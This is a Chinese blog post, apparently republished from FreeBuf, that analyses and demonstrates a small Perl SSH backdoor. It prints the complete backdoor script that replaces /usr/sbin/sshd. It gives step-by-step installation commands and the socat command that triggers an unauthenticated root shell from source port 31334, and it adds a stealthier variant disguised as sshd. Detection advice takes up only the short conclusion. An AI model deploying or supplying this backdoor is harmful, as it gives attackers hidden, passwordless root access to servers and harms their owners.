一款短小精致的SSH后门分析

0x00. 引言

在《利用系统特性伪装成一个免密登陆后门》一文中,我介绍过利用系统特性伪装成一个ssh系统后门,不过,这个后门需要新开一个端口,而本文介绍的这个后门只需要系统上开放了ssh服务就行了,不需要额外的开放端口,详情见正文。

0x01. 正文

1. 后门简介

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

sshd后门源码:

#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

这段代码的意思:

第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket (一般只有攻击者指定连接的源端口才能触发这一行的执行) 第二行 启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)

补充:

在网络通信当中,大多传递的数据是以二进制流(binary data)存在的。当传递字符串时,不必担心太多的问题,而当传递诸如int、char之类的基本数据的时候,就需要有一种机制将某些特定的结构体类型打包成二进制流的字符串然后再网络传输,而接收端也应该可以通过某种机制进行解包还原出原始的结构体数据。python中的struct模块就提供了这样的机制:

2. 如何使用后门

这里做个实例演示

被控端(Victim) 10.1.100.3 Kali

控制端 10.1.100.2 centos7

1) 在被控端执行以下操作

将真正的sshd 移至/usr/bin/sshd,

mv /usr/sbin/sshd /usr/bin/sshd

将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限

    chmod +x /usr/sbin/sshd

重启 ssh 服务

2) 在控制端执行以下操作

socat STDIO TCP4:10.1.100.3:22,sourceport=31334

这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这行命令等价于 socat -TCP4:10.1.100.3:22,sourceport=31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

我们看一下被控端

22 端口是sh 和 控制端连接,程序名是ssh ,而不是正常的sshd

为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd,修改后门源码为:

#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

控制端再次连接:

现在已经变成了sshd ,伪装性更强!

3. 为什么这个后门不需要认证

这和OpenSSH 服务特性有关,OpenSSH 和其他的网络服务一样,都会fork一个子进程处理用户连接, 但是有一点和其他网络服务不一样,新fork的子进程不会直接处理用户连接,而是重新在子进程中重新运行自身,也就是/usr/sbin/sshd (就是OpenSSH自身二进制文件) ,所以用户的连接是被重新运行的/usr/sbin/sshd 实例给处理了。重新运行/usr/sbin/sshd 就会执行后门的第一行代码。从而反弹shell且无需认证。 对于新fork的子进程来说,文件句柄STDIN/STDOUT 就和当前的socket关联在一起了。 (要想了解更深入的原理,需要去查看OpenSSH的源码了)

sshd.c 部分截图

默认重新执行自身的标识是为1

4. OpenSSH 为什么在子进程中重新运行自身?

从OpenSSH 3.9 以后的版本都有这样的特性,目的有2:

1)这样每次重新运行自身自后,每一个新连接的执行时间都是不一样的 2)为了ASLR 更加有效,每个连接的内存布局都是不一样的

0x02. 总结

其实这款后门也比较好发现,首先正常的sshd 文件是ELF格式,而后门是纯文本脚本,使用file 命令就可以发现

另外也可以定期检测系统关键文件的hash是否发生变化,位置是否发生变化,这样就能发现是否有异常

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-07-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏农夫安全

sqlmap基础使用详解(以sqli_labs为例)

一、基于错误的GET型注入 如果确定该url下存在注入,直接把url扔到sqlmap 1 先探测当前数据库版本 语句: sqlmap -u http://192...

4518
来自专栏linux运维学习

linux学习第四十二篇:限定某个目录禁止解析php, 限制user_agent,PHP相关配置

限定某个目录禁止解析php 虚拟主机配置文件添加的核心配置内容: <Directory /data/wwwroot/111.com/upload> ...

2389
来自专栏我是攻城师

Java程序排查问题利器之Btrace

4234
来自专栏SDNLAB

SDN开发笔记(一):SDN开发环境的搭建(win7环境)

前言 鉴于网上对于SDN开发相关的资料较少又乱的现状,从这篇文章开始,我将陆续分享我在SDN开发过程中的经验,我的SDN项目开发是基于OpenDaylight的...

4228
来自专栏游戏杂谈

rtx登录内网系统

公司内部使用rtx进行沟通和交流,经常遇到订餐的问题,用php写了一个订餐系统,实现rtx上点击链接打开系统就自动登录了,无需再次输入用户名和密码。

2801
来自专栏云计算教程系列

使用Capistrano,Nginx和Puma在Ubuntu 14.04上部署Rails应用程序

Rails是一个用Ruby编写的开源Web应用程序框架。Nginx是一种高性能HTTP服务器,反向代理和负载均衡器,以其并发性,稳定性,可伸缩性和低内存消耗而著...

1584
来自专栏沈唁志

解决 TP3 框架 引入 Log.class.php 文件报错方法

朋友的这个问题真的很无语,可能会出现在使用 SVN 的情况下,使用 Git 进行团队开发忽略以后是不会出现这种问题的

2041
来自专栏Python爬虫与算法进阶

强大的异步爬虫 with aiohttp

看到现在网络上大多讲的都是requests、scrapy,却没有说到爬虫中的神器:aiohttp

1562
来自专栏大数据文摘

干货 | MIT手把手教你一步步创建自己的R程序包

1581
来自专栏wblearn

package.json文件快速入门详解

相信入门nodejs或者npm的同学会对package.json这个文件有疑惑,对这个文件的作用不是很清晰,但搭建自己的博客每每用到node,npm这个文件又必...

1281

扫码关注云+社区

领取腾讯云代金券